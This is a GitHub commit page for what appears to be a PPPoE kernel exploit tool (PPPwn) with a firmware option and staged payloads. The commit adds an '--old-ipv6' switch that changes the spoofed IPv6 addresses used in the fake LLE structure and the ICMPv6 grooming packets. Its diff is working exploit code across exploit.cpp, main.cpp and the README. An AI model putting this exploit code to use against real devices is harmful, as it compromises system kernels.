Skip to content

Commit

Permalink
Add an option to use old ipv6 address
Browse files Browse the repository at this point in the history
  • Loading branch information
xfangfang committed Nov 10, 2024
1 parent ed5f907 commit dd94cda
Show file tree
Hide file tree
Showing 5 changed files with 25 additions and 5 deletions.
2 changes: 1 addition & 1 deletion CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -130,7 +130,7 @@ if (BUILD_CLI)
add_custom_command(
OUTPUT ${CMAKE_BINARY_DIR}/static.c
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
COMMAND ${ZIG} cc -o ${CMAKE_BINARY_DIR}/pack ${mongoose_SOURCE_DIR}/test/pack.c
COMMAND ${ZIG} cc ${CMAKE_C_FLAGS} -o ${CMAKE_BINARY_DIR}/pack ${mongoose_SOURCE_DIR}/test/pack.c
COMMAND ${CMAKE_BINARY_DIR}/pack web/*.html web/*.ttf > ${CMAKE_BINARY_DIR}/static.c
DEPENDS web/index.html
)
Expand Down
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,7 @@ pppwn --interface en0 --fw 1100 --stage1 "stage1.bin" --stage2 "stage2.bin" --ti
- `-a` `--auto-retry`: automatically retry when fails or timeout
- `-nw` `--no-wait-padi`: don't wait one more [PADI](https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet#Client_to_server:_Initiation_(PADI)) before starting the exploit
- `-rs` `--real-sleep`: use CPU for more precise sleep time (Only used when execution speed is too slow)
- `-old` `--old-ipv6`: use previous IPv6 address to exploit (Only used when the exploit fails)
- `--web`: use the web interface
- `--url`: the url of the web interface (default: `0.0.0.0:7796`)

Expand Down
3 changes: 3 additions & 0 deletions include/exploit.h
Original file line number Diff line number Diff line change
Expand Up @@ -89,6 +89,8 @@ class Exploit {

void setRealSleep(bool sleep);

void setOldIpv6(bool old);

void closeInterface();

void updateSourceMac(uint64_t value);
Expand Down Expand Up @@ -140,6 +142,7 @@ class Exploit {
bool auto_retry{};
bool wait_padi{};
bool real_sleep{};
bool old_ipv6{};
int timeout{};
int wait_after_pin{1};
int groom_delay{4};
Expand Down
20 changes: 16 additions & 4 deletions src/exploit.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -50,12 +50,18 @@

const static std::string SOURCE_MAC = "41:41:41:41:41:41";
const static std::string SOURCE_IPV4 = "41.41.41.41";
const static std::string SOURCE_IPV6 = "fe80::9f9f:41ff:9f9f:41ff";
const static std::string SOURCE_IPV6_1 = "fe80::4141:4141:4141:4141";
const static std::string SOURCE_IPV6_2 = "fe80::9f9f:41ff:9f9f:41ff";
const static uint64_t SIN6_ADDR_1 = 0x4141414141414141;
const static uint64_t SIN6_ADDR_2 = 0x9f9f41ff9f9f41ff;

const static std::string TARGET_IPV4 = "42.42.42.42";

const static std::string BPF_FILTER = "((ip6) || (pppoed) || (pppoes && !ip))";

static std::string SOURCE_IPV6 = SOURCE_IPV6_2;
static uint64_t SIN6_ADDR = SIN6_ADDR_2;

struct Cookie {
pcpp::Packet packet;
};
Expand Down Expand Up @@ -180,6 +186,12 @@ void Exploit::setRealSleep(bool sleep) {
this->real_sleep = sleep;
}

void Exploit::setOldIpv6(bool old) {
this->old_ipv6 = old;
SOURCE_IPV6 = old ? SOURCE_IPV6_1 : SOURCE_IPV6_2;
SIN6_ADDR = old ? SIN6_ADDR_1 : SIN6_ADDR_2;
}

void Exploit::setTimeout(int value) {
this->timeout = value;
}
Expand Down Expand Up @@ -550,7 +562,7 @@ std::vector<uint8_t> Exploit::build_fake_lle(Exploit *self) {
V32(fake_lle, 0xC4, 0); // sin6_flowinfo
// sin6_addr
V64BE(fake_lle, 0xC8, 0xfe80000100000000);
V64BE(fake_lle, 0xD0, 0x9f9f41ff9f9f41ff);
V64BE(fake_lle, 0xD0, SIN6_ADDR);
V32(fake_lle, 0xD8, 0); // sin6_scope_id

// pad
Expand Down Expand Up @@ -737,7 +749,7 @@ int Exploit::stage0() {
}

std::stringstream sourceIpv6;
sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << ":41ff:9f9f:41ff";
sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << SOURCE_IPV6.substr(10);
{
auto &&packet = PacketBuilder::icmpv6Echo(this->source_mac, this->target_mac,
pcpp::IPv6Address(sourceIpv6.str()), this->target_ipv6);
Expand Down Expand Up @@ -860,7 +872,7 @@ int Exploit::stage1() {

sourceIpv6.clear();
sourceIpv6.str("");
sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << ":41ff:9f9f:41ff";
sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << SOURCE_IPV6.substr(10);

{
auto &&packet = PacketBuilder::icmpv6Echo(this->source_mac, this->target_mac,
Expand Down
4 changes: 4 additions & 0 deletions src/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -126,6 +126,7 @@ int main(int argc, char *argv[]) {
bool no_wait_padi = false;
bool web_page = false;
bool real_sleep = false;
bool old_ipv6 = false;

auto cli = (
("network interface" % required("-i", "--interface") & value("interface", interface), \
Expand All @@ -142,6 +143,7 @@ int main(int argc, char *argv[]) {
option("-bs", "--buffer-size") & integer("bytes", buffer_size), \
"automatically retry when fails or timeout" % option("-a", "--auto-retry").set(retry), \
"don't wait one more PADI before starting" % option("-nw", "--no-wait-padi").set(no_wait_padi), \
"Using the old ipv6 to exploit" % option("-old", "--old-ipv6").set(old_ipv6), \
"Use CPU for more precise sleep time (Only used when execution speed is too slow)" %
option("-rs", "--real-sleep").set(real_sleep), \
"start a web page" % option("--web").set(web_page), \
Expand All @@ -165,6 +167,7 @@ int main(int argc, char *argv[]) {

std::cout << "[+] args: interface=" << interface << " fw=" << fw << " stage1=" << stage1 << " stage2=" << stage2
<< " timeout=" << timeout << " wait-after-pin=" << wait_after_pin << " groom-delay=" << groom_delay
<< " buffer-size=" << buffer_size << " old-ipv6=" << (old_ipv6 ? "on" : "off")
<< " auto-retry=" << (retry ? "on" : "off") << " no-wait-padi=" << (no_wait_padi ? "on" : "off")
<< " real_sleep=" << (real_sleep ? "on" : "off")
<< std::endl;
Expand All @@ -183,6 +186,7 @@ int main(int argc, char *argv[]) {
exploit->setStage2(std::move(stage2_data));
exploit->setTimeout(timeout);
exploit->setWaitPADI(!no_wait_padi);
exploit->setOldIpv6(old_ipv6);
exploit->setGroomDelay(groom_delay);
exploit->setWaitAfterPin(wait_after_pin);
exploit->setAutoRetry(retry);
Expand Down

0 comments on commit dd94cda

Please sign in to comment.